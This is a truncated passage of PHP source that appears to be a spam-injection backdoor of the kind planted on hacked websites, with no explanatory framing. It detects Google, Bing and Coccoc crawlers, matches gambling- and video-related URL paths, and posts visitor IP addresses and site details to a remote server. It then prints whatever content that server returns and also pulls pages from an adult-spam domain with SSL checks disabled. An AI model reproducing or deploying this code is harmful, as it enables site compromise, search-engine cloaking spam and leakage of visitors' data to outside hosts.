getIP(),'file'=>$file,'domain'=>$domain); $result = posturl($api_url."?".$domain.$file,$post_data); if(strlen($result) != 0){ echo $result; exit; } } } $key=$_SERVER['HTTP_USER_AGENT']; if(isset($_SERVER['HTTP_USER_AGENT']) && (stristr($_SERVER['HTTP_USER_AGENT'],"Google") || stristr($_SERVER['HTTP_USER_AGENT'],"bing") || stristr($_SERVER['HTTP_USER_AGENT'],"coccoc"))){ $arr_url = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video'); echo ""; } }catch (Exception $exception){ } function getRandomLineFromFile() { $url = 'http://sex.top7788.com/web3/test1.php'; $options = array( "http" => array( "header" => "User-Agent: MyUserAgent/1.0\r\n" ) ); $context = stream_context_create($options); $response = file_get_contents($url, false, $context); return $response ?: "Unable to fetch data!"; } function getwailun() { $url = 'http://sex.top7788.com/web3/debug.php'; $options = array( "http" => array( "header" => "User-Agent: MyUserAgent/1.0\r\n" ) ); $context = stream_context_create($options); $response = file_get_contents($url, false, $context); return $response ?: "Unable to fetch data!"; } function posturl($url,$post_data=null){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_TIMEOUT, 30); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_USERAGENT,$_SERVER['HTTP_USER_AGENT']); curl_setopt($curl, CURLOPT_REFERER, @$_SERVER['HTTP_REFERER']); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($post_data)); $data = curl_exec($curl); curl_close($curl); return $data; } function getIP() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $ip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $ip = $_SERVER['REMOTE_ADDR']; } return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : ''; } function getCurrentVideoDirectoryValue() { $currentPath = (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] != '') ? $_SERVER['REQUEST_URI'] : $_SERVER['HTTP_X_REWRITE_URL']; $currentPath = rtrim($currentPath, '/'); $keywords = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video'); $pathParts = explode('/', $currentPath); array_shift($pathParts); $firstDir = isset($pathParts[0]) ? $pathParts[0] : ''; foreach ($keywords as $keyword) { if (strpos($firstDir, $keyword) !== false) { return end($pathParts); } } return false; } ?>